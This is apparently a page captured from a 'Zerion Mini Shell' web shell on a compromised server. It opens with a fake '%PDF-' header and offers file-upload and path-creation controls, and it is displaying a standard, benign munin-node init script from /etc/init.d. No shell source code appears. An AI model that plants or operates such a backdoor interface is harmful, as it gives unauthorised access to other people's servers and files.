%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/init.d/
Upload File :
Create Path :
Current File : //etc/init.d/munin-node

#!/usr/bin/env /lib/init/init-d-script

### BEGIN INIT INFO
# Provides:          munin-node
# Required-Start:    $network $named $local_fs $remote_fs
# Required-Stop:     $network $named $local_fs $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Munin-Node service
# Description:       Munin-Node service allowing local or remote retrieval of monitoring data
### END INIT INFO

DESC="Munin-Node service"
DAEMON=/usr/sbin/munin-node
PIDFILE=$(sed -nE 's/^\s*pid_file\s+//p' /etc/munin/munin-node.conf)
PIDFILE=${PIDFILE:-/run/munin/munin-node.pid}
# arguments for "start-stop-daemon"
START_ARGS="--background --notify-await --notify-timeout 15"
# arguments for "munin-node"
DAEMON_ARGS="--foreground"


do_start_prepare() {
    mkdir -p /run/munin /var/log/munin
    chown munin:root /run/munin
    chown munin:adm /var/log/munin
    chmod 0755 /run/munin
    chmod 0755 /var/log/munin
}


# start-stop-daemon's "--exec" match does not work for scripts (with an interpreter).  Thus we
# override the DAEMON path with the interpreter during "stop".
# Due to this broad "--exec" match (possibly hitting any existing perl script), we need to prevent
# the second "--stop" call of "start-stop-daemon" specified in the original "do_stop_cmd" function.
do_stop_cmd_override() {
    start-stop-daemon --stop --quiet --oknodo --retry=TERM/30/KILL/5 \
        --pidfile "$PIDFILE" --name munin-node --exec /usr/bin/perl
}

Zerion Mini Shell 1.0